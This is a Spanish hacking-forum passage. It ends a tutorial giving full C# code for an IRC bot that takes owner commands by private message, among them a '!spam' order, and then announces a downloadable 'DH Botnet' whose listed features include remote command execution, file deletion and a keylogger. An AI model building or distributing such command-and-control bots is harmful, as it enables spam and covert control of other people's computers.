regex = Regex.Match(code, ":(.*)!(.*) PRIVMSG (.*) :(.*)", RegexOptions.IgnoreCase); // Lo usamos para detectar los mensajes privados y publicos
if (regex.Success) // Si se encontro algo
{

mandar_datos.WriteLine("PRIVMSG" + " " + canal + " " + "Hi World"); // Mandamos un mensaje al canal
mandar_datos.Flush(); // ..

string dedonde = regex.Groups[1].Value; // Se detecta la procedencia del mensaje
string mensaje = regex.Groups[4].Value; // El mensaje en si
if (dedonde != canal) // Si la procedencia del mensaje no es el canal en si activamos esta condicion , cabe aclarar que si es el canal
// el que nos mando el mensaje es un mensaje PUBLICO , caso contrario es PRIVADO
{
Console.WriteLine("[+] "+dedonde+" dice : "+mensaje); // Mostramos el dueño del mensaje y el mensaje
}
}
             

Como ven detectamos los mensajes privados y los mostramos en la consola como lo hace mirc , mostrando el nick que nos esta hablando y despues el mensaje.

0x06 : Reconocer comandos

Para poder reconocer comandos para HackingTools lo vamos hacer con mensajes privados , el administrador del bot le habla al mismo a traves de mensajes privados con los comandos , despues el bot le responde con la respuesta del comando que le dijimos , un ejemplo de eso es este codigo el cual deben agregar despues del bucle :

Código (csharp) [Seleccionar]

regex = Regex.Match(code, ":(.*)!(.*) PRIVMSG (.*) :(.*)", RegexOptions.IgnoreCase); // Lo usamos para detectar los mensajes privados y publicos
if (regex.Success) // Si se encontro algo
{
string dedonde = regex.Groups[1].Value; // Se detecta la procedencia del mensaje
string mensaje = regex.Groups[4].Value; // El mensaje en si
if (dedonde != canal) // Si la procedencia del mensaje no es el canal en si activamos esta condicion , cabe aclarar que si es el canal
// el que nos mando el mensaje es un mensaje PUBLICO , caso contrario es PRIVADO
{
Match regex_ordenes = Regex.Match(mensaje, "!spam (.*) (.*)", RegexOptions.IgnoreCase); // Esta es la orden !spam con los (.*)
// detectamos los dos comandos que son <nick> <mensaje>
if (regex_ordenes.Success) // Si se encontro algo
{
mandar_datos.WriteLine("PRIVMSG" + " " + dedonde + " " + "[+] Sure"); // Le decimos al nick dueño del bot que si
mandar_datos.Flush(); // ..
System.Threading.Thread.Sleep(5000); // Usamos Thread.Sleep para esperar 5 segundos y fingir que hacemos algo interesante xD
mandar_datos.WriteLine("PRIVMSG" + " " + regex_ordenes.Groups[1].Value + " " + regex_ordenes.Groups[2].Value); // Mandamos
// un mensaje al usuario especificado con el mensaje que pedimos
mandar_datos.Flush(); // ..
mandar_datos.WriteLine("PRIVMSG" + " " + dedonde + " " + "[+] Finished"); // Le decimos al dueño del bot que terminamos
mandar_datos.Flush(); // ..
}
}
}


Como ven nuestro comando es !spam , simplemente usa esta formato "!spam <nick> <texto>" y el bot le hablara a la persona del canal que quieran con el mensaje que quieran.

0x07 : Testeando

Hemos llegado al final de este corto manual , les deberia haber quedado el codigo de esta forma :

Código (csharp) [Seleccionar]

// Ejemplo de IRC Bot
// Written By Doddy Hackman in the year 2014

using System;
using System.Collections.Generic;
using System.Text;

using System.Net; // Lo usamos para realizar la conexion
using System.Net.Sockets; // Lo mismo que la anterior
using System.IO; // Lo usamos para el manejo con los streams
using System.Text.RegularExpressions; // No es vital pero me encantan el uso de las expresiones regulares

namespace irc
{
    class Program
    {
        static string[] usuarios; // Creamos el string[] usuarios para tener todos los nicks que estan en el canal

        static void Main(string[] args)
        {
            NetworkStream conexion; // Establecemos la variable conexion como NetworkStream
            TcpClient irc; // Establecemos la variable irc como TcpClient
            StreamReader leer_datos; // Establecemos la variable leer_datos como StreamReader
            StreamWriter mandar_datos; // Establecemos la variable mandar_datos como SteamWriter

            string host = "localhost"; // Establecemos la variable string host para tener el host del canal IRC
            string nickname = "ClapTrap"; // Establecemos la variable nickname con el nick del bot
            string canal = "#locos"; // Establecemos la variable canal con el nombre del canal
            string code = ""; // Creamos la variable string que vamos a usar para leer los sockets
           
            irc = new TcpClient(host, 6667); // Realizamos la conexion con el canal usando el host y el puerto 6667
            conexion = irc.GetStream(); // Cargamos la conexion para poder leer los datos
            leer_datos = new StreamReader(conexion); // Lo necesario para leer los datos de la conexion
            mandar_datos = new StreamWriter(conexion); // Lo necesario para mandar comandos al canal IRC

            mandar_datos.WriteLine("NICK " + nickname); // Usamos el comando NICK para entrar al canal usando el nick antes declarado
            mandar_datos.Flush(); // Actualizamos la conexion

            mandar_datos.WriteLine("USER " + nickname + " 1 1 1 1"); // Usamos el comando USER para confirmar el nickname
            mandar_datos.Flush(); // ..

            mandar_datos.WriteLine("JOIN " + canal); // Usamos el comando JOIN para entrar al canal
            mandar_datos.Flush(); // ..

            while (true) // Mi bucle enterno
            {
                while ((code = leer_datos.ReadLine()) != null) // Leemos la conexion con la variable code
                {
                    Console.WriteLine("Code : " + code); // No es necesario pero es para ver las respuestas del servidor

                    Match regex = Regex.Match(code, "PING(.*)", RegexOptions.IgnoreCase); // Detectamos el clasico PING para el PING PONG
                    // que nos hara el servidor IRC para verificar que estemos ahi y entrar al canal , aunque lo sigo haciendo despues
                    // para ver que no estemos muerto o algo asi xD
                    if (regex.Success) // Si se encontro algo
                    {
                        string te_doy_pong = "PONG " + regex.Groups[1].Value; // Capturamos lo que esta despues del ping y le damos al pong con los datos
                        mandar_datos.WriteLine(te_doy_pong); // Mandamos el comando de la variable anterior
                        mandar_datos.Flush(); // ..
                    }

                    regex = Regex.Match(code,":(.*) 353 (.*) = (.*) :(.*)", RegexOptions.IgnoreCase); // Capturamos los usuarios de todo el canal
                    // con el poder de las expresiones regulares
                    if (regex.Success) // Si los encontraron
                    {
                        string usuarios_lista = regex.Groups[4].Value; // Tenemos la variable con todos los nicks
                        usuarios = usuarios_lista.Split(' '); // Para mayor comodidad usamos un split para separar todos los espacios vacios que estan entre
                        // cada nick del canal para despues hacer una lista , que es la primera que declare en el codigo
                        foreach (string usuario in usuarios) // Usamos un for each para leer la lista usuarios y mostrar cada nick en la variable usuario
                        {
                            Console.WriteLine("[+] User : "+usuario); // Mostramos cada user
                        }
                    }

                    regex = Regex.Match(code, ":(.*)!(.*) PRIVMSG (.*) :(.*)", RegexOptions.IgnoreCase); // Lo usamos para detectar los mensajes privados y publicos
                    if (regex.Success) // Si se encontro algo
                    {

                        mandar_datos.WriteLine("PRIVMSG" + " " + canal + " " + "Hi World"); // Mandamos un mensaje al canal
                        mandar_datos.Flush(); // ..

                        string dedonde = regex.Groups[1].Value; // Se detecta la procedencia del mensaje
                        string mensaje = regex.Groups[4].Value; // El mensaje en si
                        if (dedonde != canal) // Si la procedencia del mensaje no es el canal en si activamos esta condicion , cabe aclarar que si es el canal
                        // el que nos mando el mensaje es un mensaje PUBLICO , caso contrario es PRIVADO
                        {
                            Console.WriteLine("[+] "+dedonde+" dice : "+mensaje); // Mostramos el dueño del mensaje y el mensaje
                            Match regex_ordenes = Regex.Match(mensaje, "!spam (.*) (.*)", RegexOptions.IgnoreCase); // Esta es la orden !spam con los (.*)
                            // detectamos los dos comandos que son <nick> <mensaje>
                            if (regex_ordenes.Success) // Si se encontro algo
                            {
                                mandar_datos.WriteLine("PRIVMSG" + " " + regex_ordenes.Groups[1].Value + " " + regex_ordenes.Groups[2].Value); // Mandamos
                                // un mensaje al usuario especificado con el mensaje que pedimos
                                mandar_datos.Flush(); // ..
                            }
                        }
                    }
                }
            }
        }
    }
}

// The End ?


Unas imagenes :







--========--
  The End ?
--========--

Version PDF.

Version VideoTutorial

[youtube=640,360]https://www.youtube.com/watch?v=xGIHprbXDek[/youtube]

Eso es todo.
#90
.NET (C#, VB.NET, ASP) / [C#] DH Botnet 1.0 (Source)
26 Septiembre 2014, 19:58 PM
Traduccion a C# de mi delphi inicialmente escrita en Perl y luego en Delphi.

Tiene las siguientes opciones :

  • Ejecucion de comandos
  • Listar procesos activos
  • Matar procesos
  • Listar archivos de un directorio
  • Borrar un archivo o directorio cualquiera
  • Leer archivos
  • Abrir y cerrar lectora
  • Ocultar y mostrar programas del escritorio
  • Ocultar y mostrar Taskbar
  • Abrir Word y hacer que escriba solo (una idea muy grosa xDD)
  • Hacer que el teclado escriba solo
  • Volver loco al mouse haciendo que se mueva por la pantalla
  • Keylogger Incluido

    Una imagen :



    Un video con ejemplo de uso :

    [youtube=640,360]http://www.youtube.com/watch?v=u45A96wNP8Y[/youtube]

    Los codigos en pastebin :

    El Generador

    El Stub

    Si lo quieren bajar lo pueden hacer de aca